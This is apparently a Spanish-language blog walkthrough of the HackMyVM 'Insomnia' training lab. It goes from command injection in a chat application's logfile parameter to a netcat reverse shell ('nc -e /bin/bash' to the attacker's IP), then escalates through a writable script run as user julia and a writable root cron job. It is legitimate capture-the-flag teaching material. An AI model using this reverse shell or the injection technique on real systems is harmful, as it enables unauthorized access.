HackMyVM Insomnia — Linux

Gm4tsyGm4tsy
4 min read

Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.

Descargamos el archivo de la página https://hackmyvm.eu/machines/

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.

Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan para ver la dirección IP en nuestra red que sería la 192.168.0.146.

Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.

Empezamos con un escaneo de puertos y podemos ver que solo tenemos el puerto 8080

Realizando un escaneo del puerto identificado y podemos observar lo siguiente.

Ingresamos la dirección IP en el navegador y podemos observar que nos salió un pop up que pide un nickname.

Luego de enviar el nombre podemos ver que sale un chat, pero si ingresamos algún texto no vemos que nos refleje o nos dé alguna manera de saltarlo.

Por ello comenzamos un escaneo de directorios y podemos ver que nos da un error de que devuelve 200 en todos y que la longitud es de 2899.

Agregamos una excepción del parámetro y podemos ver que ahora si tenemos unos cuantos directorios.

Revisando los 3 directorios podemos ver que tenemos en administration.php vemos que nos sale que no tenemos permisos, para process solo unos corchetes y en chat una copia de los comandos que ingresamos en el chat.

Realizaremos un escaneo de parámetros para ver si en administration.php podemos ejecutar algún comando y vemos que tenemos el parámetro logfile.

Usando ese parámetro podemos ver que ahora si nos muestra un texto.

Probamos el archivo chat.txt ahora cambia.

Probamos agregando un ; para ver si podemos observar que tenemos alguna respuesta adicional. Lo cual no es así, solo nos refleja el texto.

Pero si regresamos al chat podemos ver que ejecuto el comando.

Ya que podemos ejecutar comandos, probaremos ejecutando una revshell. Para ello primero iniciamos nuestro listener.

Probamos enviando una revshell que siempre usamos pero no podemos.

Puesto que no podemos ejecutarlo, emplearemos nc

nc -e /bin/bash 192.168.0.109 1234

enviamos la web shell u la página se quedará cargando.

Regresamos a nuestro listener podemos ver que tenemos conexión.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola. Listando los archivos podemos observar que tenemos la capacidad de ejecutar un archivo como julia.

Al listar el contenido de la carpeta donde se encuentra el archivo podemos ver que tenemos permisos de edición, lo cual nos permitirá editar el código y escalar privilegios.

Para esta parte solo modificamos de la siguiente manera y luego ejecutamos el script con el usuario julia, de esta manera escalamos privilegios como este usuario.

Ya como julia realizamos un sudo -l, pero no podemos acceder porque no tenemos las credenciales y listando la carpeta de usuario tampoco observamos algo útil.

Buscamos permisos SUID y capabilities, pero no tenemos nada.

Revisando las tareas en crontab vemos que tenemos un ejecutable de root.

Al dirigirnos a la ubicación y listar el archivo vemos que tenemos permisos de edición.

Ya que nosotros no podemos ejecutar este archivo, haremos que nos genere una revshell cuando se ejecute y por ello iniciamos un listener en nuestra máquina.

Vamos al archivo y lo editamos de la siguiente manera, también pueden eliminar todo el contenido, pero usamos la misma shell solo que cambiamos de puerto.

Luego de esperar unos minutos regresamos al listener y podemos observar que ya tenemos acceso como root. De esta manera culminando esta máquina.

0
Subscribe to my newsletter

Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Gm4tsy
Gm4tsy